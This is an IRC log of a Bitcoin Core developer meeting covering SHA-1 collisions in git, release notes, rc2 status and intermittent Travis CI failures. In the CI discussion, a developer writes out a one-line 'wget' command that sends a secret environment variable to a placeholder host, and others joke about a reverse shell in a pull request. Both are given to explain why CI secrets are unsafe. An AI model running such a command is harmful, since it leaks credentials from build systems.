319 2017-02-23T18:52:17  <gribble> https://github.com/bitcoin/bitcoin/issues/9787 | release: add a few performance-related notes by theuni · Pull Request #9787 · bitcoin/bitcoin · GitHub
320 2017-02-23T18:52:31  <BlueMatt> oh, wait, missed you updated part of it
321 2017-02-23T18:52:35  <sdaftuar> #9814 looks potentially concerning?  unclear if its reproducible i guess
322 2017-02-23T18:52:45  <gribble> https://github.com/bitcoin/bitcoin/issues/9814 | 0.14rc1 coredump in QScreen::handle() · Issue #9814 · bitcoin/bitcoin · GitHub
323 2017-02-23T18:53:02  <BlueMatt> oh, did we not fix that yet? ugh, yea, probably need a fix for that before rc2
324 2017-02-23T18:53:19  <wumpus> sdaftuar: I don't know. haven't heard any reports about that from anyone else
325 2017-02-23T18:53:56  <wumpus> also no one seems to be able to reproduce it
326 2017-02-23T18:54:02  <wumpus> so no, I don't think it should block rc2
327 2017-02-23T18:54:13  <cfields> BlueMatt: yea, i need some clarification from you. Also, I assume there are some more obvious user-facing perf improvements that should be added, i just can't come up with any
328 2017-02-23T18:54:25  <BlueMatt> wumpus: hmmm....I mean I'd tend to trust dooglus to not have some obviously-broken shit
329 2017-02-23T18:54:31  <cfields> BlueMatt: we could do a quick call for additions in the meeting
330 2017-02-23T18:54:44  <BlueMatt> wumpus: but, ok
331 2017-02-23T18:54:54  <BlueMatt> wumpus: (I dont see much of a different option)
332 2017-02-23T18:55:08  <wumpus> BlueMatt: also it seems like a qt issue
333 2017-02-23T18:55:14  <BlueMatt> yes
334 2017-02-23T18:55:38  <wumpus> and seems it's a custom built binary, not our static one from bitcoin.org
335 2017-02-23T18:56:10  <BlueMatt> well i hope we support custom binaries with non-static qt :p
336 2017-02-23T18:56:28  <BlueMatt> cfields: i think just the spelling issue sdaftuar mentioned and we can get it in for rc2?
337 2017-02-23T18:56:30  <wumpus> but we can't support all broken configurations out there
338 2017-02-23T18:56:43  <cfields> BlueMatt: sure, if you're good with the rest
339 2017-02-23T18:56:45  <wumpus> well at least I can't. Maybe you want to take that up, fine with me
340 2017-02-23T18:56:46  <wumpus> :)
341 2017-02-23T18:57:04  *** lclc has joined #bitcoin-core-dev
342 2017-02-23T18:57:21  <BlueMatt> wumpus: heh, indeed, if no one can figure out the issue then it shouldnt block rc2, I just want to make sure someone who actually knows qt has given it a super good look-over, because i certainliy cant help there :/
343 2017-02-23T18:57:25  <cfields> wumpus: did you see my comment the other day about that smelling like an old touch/wacom bug? Not sure if you dug that up, but I'll have a look now if not
344 2017-02-23T18:58:00  <wumpus> cfields: I vaguely remember that one, yes.
345 2017-02-23T18:58:06  <gmaxwell> if it's an issue in an older QT we could disable building with versions that old.
346 2017-02-23T18:58:08  <wumpus> cfields: it needed a qt patch
347 2017-02-23T18:58:37  <cfields> wumpus: right. My thought was that because the crash comes from older system libs, that bug may be present
348 2017-02-23T18:58:45  <cfields> looking it up to see if it could be the same thing
349 2017-02-23T18:59:11  <wumpus> looks like even the filer cannot reproduce it
350 2017-02-23T18:59:26  <wumpus> "Edit: I've tried repeating the same steps again and wasn't able to get the crash to happen again."
351 2017-02-23T19:00:31  <wumpus> #startmeeting
352 2017-02-23T19:00:31  <lightningbot> Meeting started Thu Feb 23 19:00:31 2017 UTC.  The chair is wumpus. Information about MeetBot at http://wiki.debian.org/MeetBot.
353 2017-02-23T19:00:31  <lightningbot> Useful Commands: #action #agreed #help #info #idea #link #topic.
354 2017-02-23T19:00:32  <wumpus> #meetingstart
355 2017-02-23T19:01:08  <gmaxwell> #bitcoin-core-dev Meeting: wumpus sipa gmaxwell jonasschnelli morcos luke-jr btcdrak sdaftuar jtimon cfields petertodd kanzure bluematt instagibbs phantomcircuit codeshark michagogo marcofalke paveljanik NicolasDorier
356 2017-02-23T19:01:13  <jonasschnelli> hi
357 2017-02-23T19:01:25  <wumpus> cfields: we could ask if dooglus is using a tablet/touch screen, or was using it at that time.
358 2017-02-23T19:01:43  <cfields> wumpus: oh, haha, i didn't notice it was the same reporter
359 2017-02-23T19:01:53  <kanzure> hi.
360 2017-02-23T19:02:14  <sipa> present
361 2017-02-23T19:02:15  <petertodd> hi
362 2017-02-23T19:02:26  <jonasschnelli> wumpus: did you reproduce 9814 with the same setup? Ubuntu and Qt 5.3?
363 2017-02-23T19:02:28  <cfields> oh, nm
364 2017-02-23T19:02:46  <petertodd> so quick note re: git and SHA1 collisions: https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-February/013600.html
365 2017-02-23T19:02:54  <wumpus> jonasschnelli: no, I did not reproduce it
366 2017-02-23T19:02:58  <sipa> petertodd: i wanted to bring that up
367 2017-02-23T19:03:04  <wumpus> #topic git and sha collisions
368 2017-02-23T19:03:29  <petertodd> so while many people will say git isn't vulnerable if you trust a git repo's maintainers, that is *not* true as a pull-req could add a colliding file
369 2017-02-23T19:03:38  <luke-jr> sounds like MD5 breakage
370 2017-02-23T19:03:38  <achow101> does git and github only support sha1?
371 2017-02-23T19:03:42  <sipa> achow101: yes
372 2017-02-23T19:03:50  <sipa> i only read about this new sha1 attack an hour ago... how hard is it to create a collision?
373 2017-02-23T19:04:01  <petertodd> probably only relevant with binary files, but we don't know 100% yet because details of the attack haven't been published
374 2017-02-23T19:04:03  *** MarcoFalke has joined #bitcoin-core-dev
375 2017-02-23T19:04:03  <luke-jr> achow101: IIRC, git is designed in such a way that changing SHA1 is very difficult
376 2017-02-23T19:04:04  <achow101> sipa: still very hard
377 2017-02-23T19:04:20  <sipa> i see
378 2017-02-23T19:04:20  <gmaxwell> sipa: it's not a new attack its the one published from a coule years ago with about 2^64 complexity.  There were some estimates of a cost on EC2 of about $110k.
379 2017-02-23T19:04:26  <wumpus> 110 GPU-years or so
380 2017-02-23T19:04:31  <gmaxwell> It's just actually been executed now.
381 2017-02-23T19:04:48  <sipa> gmaxwell: no, it seems new research was done that simplifies it further
382 2017-02-23T19:04:50  <gmaxwell> (at least thats my understanding)
383 2017-02-23T19:04:53  <petertodd> gmaxwell: is it confirmed that google's efforts don't include any advances on what was already known to be possible?
384 2017-02-23T19:04:55  <gmaxwell> oh. I missed that, okay!
385 2017-02-23T19:05:26  <luke-jr> is the git project taking any action now?
386 2017-02-23T19:05:36  <BlueMatt> luke-jr: doesnt look like it
387 2017-02-23T19:05:37  <wumpus> Google and CWI, the dutch center for mathetmatics and informatics
388 2017-02-23T19:05:44  <BlueMatt> luke-jr: (at least no movement as of this morning)
389 2017-02-23T19:05:52  <gmaxwell> I think they already said they wouldn't before?
390 2017-02-23T19:06:09  <sipa> i wonder how hard it is to create an overlay... that goes back in history, computes a sha256 for every tree and commit, and then include gpg signatures on those?
391 2017-02-23T19:06:23  <jonasschnelli> sipa: great idea
392 2017-02-23T19:06:38  <petertodd> sipa: I have code for something very similar to that in OpenTimestamps actually, and people have written tools to do that as well other than opentimestamps
393 2017-02-23T19:06:40  <btcdrak> The exploit has a fancy name as usual http://shattered.io/
394 2017-02-23T19:06:41  *** jtimon has joined #bitcoin-core-dev
395 2017-02-23T19:06:44  <gmaxwell> http://marc.info/?l=git&m=115678778717621&w=2 "The only _dangerous_ kind of collision is the inadvertent kind,
396 2017-02-23T19:06:47  <gmaxwell> but that's obviously also the very very unlikely kind."
397 2017-02-23T19:06:52  <BlueMatt> sipa: I was looking this morning to see if you could reasonably patch git to do so directly, looks hard.....still, we can update our dev scripts to do a sha256sum of all committed files and sign that as well
398 2017-02-23T19:07:47  <sipa> BlueMatt: signing just the trees i guess is an easy first step
399 2017-02-23T19:07:47  <btcdrak> according to the site "How is GIT affected?
400 2017-02-23T19:07:47  <btcdrak> GIT strongly relies on SHA-1 for the identification and integrity checking of all file objects and commits. It is essentially possible to create two GIT repositories with the same head commit hash and different contents, say a benign source code and a backdoored one. An attacker could potentially selectively serve either repository to targeted users. This
401 2017-02-23T19:07:47  <btcdrak> will require attackers to compute their own collision."
402 2017-02-23T19:07:47  <wumpus> but the tree is a sha1 hash too, isn't it?
403 2017-02-23T19:07:47  <BlueMatt> gmaxwell: yup, great, linus and associated kernel folks continue to willfully ignore that security matters even the slightest bit
404 2017-02-23T19:07:47  <gmaxwell> what does the signed commit stuff sign? if it signs the commit message, then we can include a sha256 in it and have the verify check that too.
405 2017-02-23T19:07:47  <BlueMatt> wumpus: yes, it would have to be a separate thing
406 2017-02-23T19:07:47  <wumpus> if you don't trust SHA1 anymore, that rabbit hole goes deep
407 2017-02-23T19:07:47  * luke-jr votes banning binary files in any case :p
408 2017-02-23T19:07:53  <sdaftuar> is it worth periodically running https://github.com/cr-marcstevens/sha1collisiondetection on commits in our repo?
409 2017-02-23T19:07:54  <BlueMatt> wumpus: eg the merge scripts could include a hash of sha256sum * in the commit message
410 2017-02-23T19:08:07  <petertodd> gmaxwell: the signed commit stuff signs a SHA1 hash, but it's easy to extend that with a gnupg wrapper; I could take the code from OpenTimestamps and do that
411 2017-02-23T19:08:08  <BlueMatt> sdaftuar: I have a patch for git to use that as the hash function
412 2017-02-23T19:08:16  <BlueMatt> and abort() if it detects a potentially-bad hash
413 2017-02-23T19:08:22  <sipa> BlueMatt: sounds like a great idea
414 2017-02-23T19:08:39  <kanzure> off-topic, but i wonder what git could change to make upgrading backwards-compatible in the future. for now i think it must be an incompatible upgrade to switch to another hash function?
415 2017-02-23T19:08:39  <sipa> (including the sha256sum * in the merge commit message)
416 2017-02-23T19:08:42  <wumpus> BlueMatt: if bad hashes are rare, that makes sense
417 2017-02-23T19:08:47  <petertodd> gmaxwell: the one thing OpenTimestamps doesn't already do is recalculate hashes of *prior* commits with SHA256, but that'd be easy to add
418 2017-02-23T19:09:12  <kanzure> i would also like the gh-meta repository maintainer to consider timestamping with opentimestamps at some point, i dunno who he is and i haven't pestered him yet
419 2017-02-23T19:09:25  <BlueMatt> wumpus: the authors of that hash code claim 2**-90
420 2017-02-23T19:09:32  <kanzure> er, the bitcoin-gh-meta repository person
421 2017-02-23T19:09:32  <BlueMatt> (for random hits)
422 2017-02-23T19:09:32  <luke-jr> detecting it after the fact seems like it would still be irrepairable?
423 2017-02-23T19:10:03  <wumpus> kanzure: iwilcox on IRC
424 2017-02-23T19:10:10  <petertodd> kanzure: git could easily have git commits simultaneously generate and sign two different hash functions; quite feasible to implement. I'll bet you I could pull that off in a week or two of work.
425 2017-02-23T19:10:12  <kanzure> oh good, he is easily pesterable.
426 2017-02-23T19:10:46  <kanzure> petertodd: yea but needs to be backwards compatible; and the bloat from two commits does not sound ideal. are they considering that btw?
427 2017-02-23T19:10:53  <wumpus> BlueMatt: if the chance of an inadvertent match is that low, in that case, abort() /reject is a great solution
428 2017-02-23T19:11:25  <luke-jr> kanzure: I'd guess you simply list the parent commit hashes twice?
429 2017-02-23T19:11:27  <petertodd> kanzure: no bloat involved - the data can be shared across both commits
430 2017-02-23T19:12:03  <kanzure> ah okay. well, i hadn't heard that proposal today, someone should check if git upstream is thinking about that.
431 2017-02-23T19:12:09  <gmaxwell> probably said enough on this for now.
432 2017-02-23T19:12:15  <btcdrak> There's a conversation on the git mailing list https://public-inbox.org/git/xmqqk28g92h7.fsf@gitster.mtv.corp.google.com/T/#t
433 2017-02-23T19:12:33  <petertodd> gmaxwell: ack
434 2017-02-23T19:12:42  <wumpus> yes, agreed
435 2017-02-23T19:12:58  <petertodd> next topic
436 2017-02-23T19:13:06  <wumpus> #topic help cfields with adding performance-related release notes
437 2017-02-23T19:13:08  <wumpus> https://github.com/bitcoin/bitcoin/pull/9787
438 2017-02-23T19:13:13  <cfields> quick call for 0.14 perf improvements on 9897
439 2017-02-23T19:13:18  <cfields> heh, thanks :)
440 2017-02-23T19:13:52  <cfields> err... #9787
441 2017-02-23T19:13:54  <gribble> https://github.com/bitcoin/bitcoin/issues/9787 | release: add a few performance-related notes by theuni · Pull Request #9787 · bitcoin/bitcoin · GitHub
442 2017-02-23T19:13:57  <jtimon> kanzure: yeah I assume changing the hash function would be a hardfork for old repositories :p
443 2017-02-23T19:14:16  <cfields> if anyone added a big user-facing performance improvement for 0.14, please speak up
444 2017-02-23T19:14:46  <gmaxwell> jtimon: please don't use bitcoin terms for other things especially non-consensus systems. The classic words "backwards incompatible" are fine. :P
445 2017-02-23T19:15:03  <jtimon> gmaxwell: yep, sorry, was a bad joke
446 2017-02-23T19:15:29  <wumpus> jtimon: dependso n how close the new hash function is to SHA-1. If it gets the same output 1-2**90 of the time, most repositories won't be affected
447 2017-02-23T19:15:30  <gmaxwell> cfields: no measurements in the notes?
448 2017-02-23T19:16:37  <cfields> gmaxwell: see the pr description. I've taken some measurements on the net stuff, but they're highly localized.
449 2017-02-23T19:17:20  <gmaxwell> wish I realized no one was going to benchmark I could have started one last night. :P
450 2017-02-23T19:17:40  <jeremyrubin> I would also note that the cuckoocache means nodes wanting to use more cores but had performance degrade should try more cores again
451 2017-02-23T19:18:13  <sipa> right, cuckoocache has no effect at low parallellism, i think?
452 2017-02-23T19:18:50  <morcos> sipa: no it's smarter about keepign the right signatures in the cache due to the generations and lazy eviction
453 2017-02-23T19:18:54  <cfields> gmaxwell: i've done lots of benchmarking. But as I said, I'm not sure how to translate that into helpful figures
454 2017-02-23T19:19:21  <gmaxwell> sipa: e.g. it will make reorgs much faster!
455 2017-02-23T19:19:35  <cfields> well the alternative is to use a reference system/environment for each improvement
456 2017-02-23T19:19:46  <gmaxwell> cfields: users don't care about each improvement.
457 2017-02-23T19:20:15  <wumpus> it also doesn't need to be super precise
458 2017-02-23T19:20:25  <gmaxwell> cfields: "Sync with least release takes N hours now, sync with new release takes Y now." would be nice.
459 2017-02-23T19:20:53  <jonasschnelli> or syncs are rougle XYZ% faster...
460 2017-02-23T19:20:54  *** lclc_ has joined #bitcoin-core-dev
461 2017-02-23T19:21:13  <jonasschnelli> use the ~ and nobody will blame you afterwards. :)
462 2017-02-23T19:21:30  <jeremyrubin> use two ~~ to be extra aproximate
463 2017-02-23T19:21:40  *** lclc has quit IRC
464 2017-02-23T19:21:43  <wumpus> it's marketing not science :p hehe
465 2017-02-23T19:21:48  <gmaxwell> but ~~ will just give you the same number you put in!
466 2017-02-23T19:22:44  <jeremyrubin> The is-approximately operator is non-involutive ;)
467 2017-02-23T19:22:51  <gmaxwell> Well people just have no general idea of the impact.  Marketing would be saying that it's 2x faster rathern the 3x faster because 2x is more plausable. :P
468 2017-02-23T19:22:51  <jeremyrubin> anyways
469 2017-02-23T19:23:21  <cfields> ok, i'll add a vague 0.13 vs 0.14 sync time. The 0.13 will take time though, I haven't had the patience to finish one yet
470 2017-02-23T19:23:28  <jeremyrubin> Could be cool to spin up a few different EC2 instances to compare...
471 2017-02-23T19:23:39  <wumpus> EC is not a good comparison environment
472 2017-02-23T19:23:45  <wumpus> sloooow i/o
473 2017-02-23T19:23:56  <sipa> i'm syncing on a RPi3
474 2017-02-23T19:24:02  <sipa> sloooow
475 2017-02-23T19:24:09  <wumpus> what storage?
476 2017-02-23T19:24:13  <luke-jr> lol
477 2017-02-23T19:24:27  <sipa> microsd card
478 2017-02-23T19:24:27  <jonasschnelli> uh
479 2017-02-23T19:24:27  <cfields> i used EC for my sync benching because i figured it represented a very typical use-case
480 2017-02-23T19:24:33  <wumpus> that's the cause of the slowness, likely
481 2017-02-23T19:24:34  <jeremyrubin> Actually I like that. We should publish the worst system that can sync :p
482 2017-02-23T19:24:47  <sipa> wumpus: absolutely
483 2017-02-23T19:24:50  * luke-jr ponders trying on his USB Armory again
484 2017-02-23T19:25:01  <jtimon> other topics?
485 2017-02-23T19:25:07  <wumpus> sipa: if it's really CPU bound, don't forget to use the experimental ARM assembly secp256k1 :)
486 2017-02-23T19:25:23  <wumpus> sipa: right, as I expected
487 2017-02-23T19:25:31  <cfields> For reference, 0.14 sync took roughly 3 hours on ec2 w/ 4 cpu cores
488 2017-02-23T19:25:42  <sipa> wumpus: i enabled it, but it's not nearly CPU bound
489 2017-02-23T19:25:51  <achow101> topic: rc2 status?
490 2017-02-23T19:26:10  <wumpus> #topic rc2 status
491 2017-02-23T19:26:24  <wumpus> I think it should be ready to tag
492 2017-02-23T19:26:57  <wumpus> well, need to update the translations and release notes to include changes since rc1, but I don't think there's anything that still needs to be solved
493 2017-02-23T19:27:04  <achow101> there are still open prs in the milestone though
494 2017-02-23T19:27:22  <achow101> (well 1 that actually does something)
495 2017-02-23T19:27:30  <wumpus> achow101: one is release notes - that can go in any time before final
496 2017-02-23T19:27:58  <wumpus> #9829 would be nice to get in, but it's breaking travis
497 2017-02-23T19:28:00  <gribble> https://github.com/bitcoin/bitcoin/issues/9829 | Fix importmulti returning rescan errors for wrong keys by ryanofsky · Pull Request #9829 · bitcoin/bitcoin · GitHub
498 2017-02-23T19:28:49  <jtimon> ryanofsky: ping
499 2017-02-23T19:29:20  <ryanofsky> should i do something? bump travis?
500 2017-02-23T19:29:23  <wumpus> (I've already tried to retrigger it so it's not one of today's intermittent problems)
501 2017-02-23T19:29:56  <wumpus> ryanofsky: I don't think that helps
502 2017-02-23T19:30:16  <gmaxwell> Does it pass locally?
503 2017-02-23T19:30:39  <ryanofsky> yeah, the errors are the same "__pthread_mutex_lock: Assertion `mutex->__data.__owner == 0' failed" things i've seen on other prs
504 2017-02-23T19:31:07  <wumpus> ryanofsky: oh, https://github.com/bitcoin/bitcoin/issues/9825
505 2017-02-23T19:31:17  <ryanofsky> i had to bump one of my prs last week 5-6 times to make travis pass
506 2017-02-23T19:31:22  <wumpus> ryanofsky: okay, will respin
507 2017-02-23T19:32:34  <bitcoin-git> [bitcoin] laanwj pushed 1 new commit to 0.14: https://github.com/bitcoin/bitcoin/commit/847e3753a6d6a6ab4dd081e2945cb200faf730d4
508 2017-02-23T19:32:34  <bitcoin-git> bitcoin/0.14 847e375 Wladimir J. van der Laan: qt: pre-rc2 translations update
509 2017-02-23T19:33:00  <morcos> Can we figure out when these travis errors started?  Do we get them on personal travis instances?  Can we bisect?  Seems likely somethign changed on our end right?
510 2017-02-23T19:33:12  <wumpus> #topic travis issues
511 2017-02-23T19:33:16  <gmaxwell> do we have any idea whats causing that? I assume no one has hit it locally?  I left test bitcoin running in a loop when I first saw it on the off chance it was an ASLR mediated thing that was only hitting travis sometimes.
512 2017-02-23T19:33:32  <gmaxwell> (no results, of course)
513 2017-02-23T19:33:37  <jonasschnelli> We recently added a missing ecc_start to bitcoin-tx... but I can't see any relation
514 2017-02-23T19:33:50  <gmaxwell> jonasschnelli: I don't even see why you mention that?
515 2017-02-23T19:33:51  <wumpus> I tried to reproduce #9825 for hours on a trusty vm, with five threads for a few hours... but no dice
516 2017-02-23T19:33:52  <gribble> https://github.com/bitcoin/bitcoin/issues/9825 | Intermittent FAIL: test/test_bitcoin in Travis · Issue #9825 · bitcoin/bitcoin · GitHub
517 2017-02-23T19:34:01  <wumpus> to bitcoin-tx? yea, that won't make a difference
518 2017-02-23T19:34:26  <jonasschnelli> gmaxwell: becuase of that "test_bitcoin: key.cpp:300: void ECC_Start(): Assertion `secp256k1_context_sign == __null' failed."?
519 2017-02-23T19:34:31  <gmaxwell> It looks like test_bitcoin fails before it even really starts. So global constructors or somehting in the C libraries.
520 2017-02-23T19:34:43  <wumpus> jonasschnelli: that's only a effect of the failure
521 2017-02-23T19:34:44  <jeremyrubin> I noticed that one of the builds seems to have some additional bounds checks enabled -- might be nice to enable those across travis tests? Hopefully no code relies on bounds checks/not
522 2017-02-23T19:34:49  <wumpus> jonasschnelli: *everything* after the initial failure fails
523 2017-02-23T19:34:55  <wumpus> jonasschnelli: secp256k1 is innocent
524 2017-02-23T19:35:00  <jonasschnelli> ah.. I see.
525 2017-02-23T19:35:23  <jtimon> perhaps we're forgetting some EEC_stop() somewhere?
526 2017-02-23T19:35:32  <gmaxwell> no. geesh
527 2017-02-23T19:35:47  <wumpus> no, I'm fairly sure it doesn't have to do with secp256k1
528 2017-02-23T19:35:57  <wumpus> it's something done with mutexes before mutexes are initialized
529 2017-02-23T19:36:20  <jtimon> ok, I really have no idea what's happening
530 2017-02-23T19:36:24  <wumpus> looks like some kind of race condition, but I have no idea where or what
531 2017-02-23T19:36:47  <wumpus> if it happens it *always* happens in test_bitcoin, never in bitcoind, bitcoin-cli, bitcoin-tx
532 2017-02-23T19:37:05  <gmaxwell> I wonder if we could make our travis build script rerun any failing case under gdb so it would print a backtrace?
533 2017-02-23T19:37:27  <BlueMatt> gmaxwell: probably using coredumps?
534 2017-02-23T19:37:40  <wumpus> if you rerun it it will probably pass
535 2017-02-23T19:37:42  <jtimon> perhaps some of the globals initialized in test_bitcoin.cpp ?
536 2017-02-23T19:37:43  <gmaxwell> or that.
537 2017-02-23T19:37:48  <jeremyrubin> in theory boost test runner can start gdb
538 2017-02-23T19:37:53  <jtimon> just thinking out loud again...
539 2017-02-23T19:37:54  <jonasschnelli> Could it be related to the boost test framework?
540 2017-02-23T19:37:55  <BlueMatt> eg if it crashes coredump and gdb print all backtraces
541 2017-02-23T19:38:03  *** jnewbery has joined #bitcoin-core-dev
542 2017-02-23T19:38:10  <wumpus> but yes, getting a core file would be useful
543 2017-02-23T19:38:14  <jeremyrubin> boost test runner can start gdb. I wonder if it reads .gdbinit
544 2017-02-23T19:38:15  <gmaxwell> BlueMatt: thats probably the right way to go there.
545 2017-02-23T19:38:25  <wumpus> although you need the executable too, to debug it
546 2017-02-23T19:38:28  <gmaxwell> jeremyrubin: yes, but if it crashes its probably not in a good state to do so. :P
547 2017-02-23T19:38:32  <wumpus> and uploading from travis :(
548 2017-02-23T19:38:40  <BlueMatt> wumpus: i mean we can at least print stack traces
549 2017-02-23T19:38:47  <gmaxwell> wumpus: just detect the crash in the script and run gdb.
550 2017-02-23T19:38:53  <gmaxwell> and print the backtraces.
551 2017-02-23T19:39:05  <wumpus> ok, yes, backtrace would help
552 2017-02-23T19:40:01  *** lclc_ has quit IRC
553 2017-02-23T19:40:02  <gmaxwell> do we know when the first of these errors was?
554 2017-02-23T19:40:07  <wumpus> jtimon: yes, it sounds ilke a global initialisation order fiasco
555 2017-02-23T19:40:28  <jeremyrubin> could be nice to detect the failing case, and then re-run it under say, valgrind
556 2017-02-23T19:40:28  *** lclc has joined #bitcoin-core-dev
557 2017-02-23T19:40:47  <wumpus> no, I don't know. I started getting annoyed by them today, but it's been going on yesterday at least as well
558 2017-02-23T19:41:39  <wumpus> bisecting this with travis would take *a lot* of patience
559 2017-02-23T19:41:53  <gmaxwell> that kind of suggests that it's a change on travis' end, no? we haven't had any changes on 0.14 in the past two days that could have caused this?
560 2017-02-23T19:42:06  <wumpus> I don't think so either.
561 2017-02-23T19:42:16  <wumpus> the big locking changes are longer ago
562 2017-02-23T19:42:27  <wumpus> and it didn't start after that
563 2017-02-23T19:42:50  <jeremyrubin> topic suggest -- code reorganizing (renaming rpc tests, etc)
564 2017-02-23T19:43:05  <gmaxwell> does something in the travis log report what hardware it ran on?
565 2017-02-23T19:43:06  <wumpus> still, the question is whether it is a change at travis's end that exposes something in our code
566 2017-02-23T19:43:15  <gmaxwell> e.g. so we could correlate failures with a specific host?
567 2017-02-23T19:43:22  <wumpus> or something that is completely broken on their end
568 2017-02-23T19:43:30  <wumpus> gmaxwell: I'm afraid not. Wasn't able to find it
569 2017-02-23T19:43:38  *** jtimon has quit IRC
570 2017-02-23T19:43:49  <wumpus> I don't think they give access to that information
571 2017-02-23T19:43:59  <jnewbery> wumpus: why is uploading from travis :( ? is it something you've tried before?
572 2017-02-23T19:44:14  <wumpus> jnewbery: it's a pit of snakes, security-wise
573 2017-02-23T19:44:21  <ryanofsky> this is older than 2 days, i first noticed these last friday on 9773: https://github.com/bitcoin/bitcoin/pull/9773#issuecomment-280684263
574 2017-02-23T19:44:38  *** jtimon has joined #bitcoin-core-dev
575 2017-02-23T19:44:40  <wumpus> jnewbery: we could temporary have it submit files somewhere to debug an issue, I guess
576 2017-02-23T19:45:24  <jnewbery> It can be configured it to upload artifacts to S3: https://docs.travis-ci.com/user/uploading-artifacts/
577 2017-02-23T19:45:30  <gmaxwell> jeremyrubin: the issue there is just in terms of provisioning travis with secrets.
578 2017-02-23T19:45:37  <kanzure> no private environment variables?
579 2017-02-23T19:45:40  <gmaxwell> er darnit, too many js in here.
580 2017-02-23T19:45:54  <wumpus> private environment variables don't work for pull requests, the test script could be replaced with anything
581 2017-02-23T19:45:57  <jeremyrubin> gmaxwell: i was wat-ing :)
582 2017-02-23T19:46:06  <gmaxwell> kanzure: PR's can steal them.
583 2017-02-23T19:46:07  <jeremyrubin> Can you get a shell to travis
584 2017-02-23T19:46:20  <wumpus> including echo $SECRET_CODE or wget https://host/secretcode?$SECRETCODE
585 2017-02-23T19:46:22  <kanzure> cool. hm.
586 2017-02-23T19:46:30  <jeremyrubin> (probably against TOS)
587 2017-02-23T19:46:51  <MarcoFalke> I think you can specify secrets that are valid on branches only, but I might be wrong
588 2017-02-23T19:46:56  <gmaxwell> jeremyrubin: A assume just open a PR that connects back to you. :P
589 2017-02-23T19:47:08  <wumpus> lol a reverse shell in a PR
590 2017-02-23T19:47:13  <BlueMatt> I assume you can, but, yea ToS (not to mention monopolizing their service....)
591 2017-02-23T19:47:32  <gmaxwell> wait, you're all not mining bitcoins there already?
592 2017-02-23T19:47:41  <jeremyrubin> I heard someone did that recently right?
593 2017-02-23T19:47:48  *** harrymm has quit IRC
594 2017-02-23T19:48:10  <gmaxwell> in any case, we've wasted most of a perfectly good hour on this. :P
595 2017-02-23T19:48:18  <wumpus> I like the idea of uploading the executable and core files more. They could be pushed to a private server, no need to openly host them, that meanst here's less reason for people up to no good to inject anything
596 2017-02-23T19:48:56  <wumpus> the biggest security worry was with hosting the built binaries
597 2017-02-23T19:49:07  <jtimon> topic code reorganizing?
598 2017-02-23T19:49:13  <wumpus> bleh
599 2017-02-23T19:49:15  <wumpus> okay :p
600 2017-02-23T19:49:23  <wumpus> #topic code reorganizing
601 2017-02-23T19:49:25  <jnewbery> suggested (marginally related) topic: code coverage and benchmark tracking
602 2017-02-23T19:49:27  <gmaxwell> we should ask travis for a feature that sets an enviroment variable to H(project secret || commit hash) ... and then we could have something whitelist uploads from specific PRs (e.g. by known people)
603 2017-02-23T19:49:36  <jtimon> it's 10 mins, so no time for a big topic I think
604 2017-02-23T19:50:04  <jeremyrubin> I have a POC branch which moves most of the pure data structures  to a datastructures dir.
605 2017-02-23T19:50:06  <gmaxwell> Rename rpctests to tests rename test_bitcoin to useless_thing_that_crashes_in_travis. Done.
606 2017-02-23T19:50:36  <wumpus> gmaxwell: yep
607 2017-02-23T19:50:39  <jtimon> jeremyrubin: you mean including things like CTransaction and CBlockHeader?
608 2017-02-23T19:50:41  <luke-jr> jeremyrubin: that doesn't sound like the right direction
609 2017-02-23T19:50:43  <jeremyrubin> no
610 2017-02-23T19:50:49  <jeremyrubin> non-bitcoin specific ones
611 2017-02-23T19:50:51  <gmaxwell> jeremyrubin: really? datastructures?  shall we have a file called functions.cpp and a file called variables.cpp too? :P
612 2017-02-23T19:50:57  <jeremyrubin> E.g., prevector
613 2017-02-23T19:50:58  <luke-jr> XD
614 2017-02-23T19:51:06  *** echonaut1 has quit IRC
615 2017-02-23T19:51:07  <luke-jr> jeremyrubin: oh, okay, that sounds less bad
616 2017-02-23T19:51:08  <gmaxwell> oh you mean things like effective language extensions.
617 2017-02-23T19:51:12  <jtimon> I would prefer to move prevector to the consensus dir
618 2017-02-23T19:51:20  *** echonaut has joined #bitcoin-core-dev
619 2017-02-23T19:51:28  <wumpus> yea, prevector is consensus critical
620 2017-02-23T19:51:32  <gmaxwell> suggests that the name still isn't good in that luke and I misunderstood it immediately. :P
621 2017-02-23T19:51:41  <jeremyrubin> so is secp256k1 ;)
622 2017-02-23T19:51:50  <sipa> so is libc
623 2017-02-23T19:51:50  *** echonaut has quit IRC
624 2017-02-23T19:51:52  <jtimon> like in https://github.com/bitcoin/bitcoin/pull/8328
625 2017-02-23T19:51:56  *** harrymm has joined #bitcoin-core-dev
626 2017-02-23T19:51:58  <wumpus> yes, we're not renaming secp256k1 are we
627 2017-02-23T19:52:00  <luke-jr> move prevector to boost
628 2017-02-23T19:52:01  * luke-jr hides
629 2017-02-23T19:52:02  <gmaxwell> Okay, so step one we move libc under consensus/ ...
630 2017-02-23T19:52:32  <jeremyrubin> Anyways, I think it would be nice to move things like that, which could later be made upstream repos
631 2017-02-23T19:52:38  <wumpus> I don't think this is going anywhere, everyone has a different opinoin on what file to put where
632 2017-02-23T19:52:47  <gmaxwell> lpad.js.
633 2017-02-23T19:52:54  *** echonaut has joined #bitcoin-core-dev
634 2017-02-23T19:53:11  <luke-jr> Does prevector have any usage outside consensus?
635 2017-02-23T19:53:19  <jeremyrubin> I think the reason I'd want that is it makes it easier to have more exhaustive testing and also allows other users to more easily use such datastructures
636 2017-02-23T19:53:29  <sipa> luke-jr: it probably should :)
637 2017-02-23T19:53:40  <wumpus> do we have any unique data structures that anyone else inthe world would want to use?
638 2017-02-23T19:53:41  <jtimon> jeremyrubin: yeah I would like libconsensus to be an "upstream repo" like libsecp256k1, but we would need to complete it first
639 2017-02-23T19:53:55  <gmaxwell> jeremyrubin: I don't think any of us care to maintain things like prevector for other usage. Making a good library takes a tremendous amount of work.
640 2017-02-23T19:54:00  <wumpus> I don't think a bitcoin-datastructures library makes sense
641 2017-02-23T19:54:01  <wumpus> right
642 2017-02-23T19:54:17  <wumpus> if we offer a library it should be something useful to bitcoin users
643 2017-02-23T19:54:39  <gmaxwell> Obviously if the author of something like that wants to create a library for other usage, thats fine! but not a project priority.
644 2017-02-23T19:54:40  <wumpus> like a wallet library, or extend libconsensus, ...
645 2017-02-23T19:55:15  <wumpus> sure, you can do whatever you want with the files in the repository, if you need it in your project you can make a library out of it for your own use, or just copy the file, etc
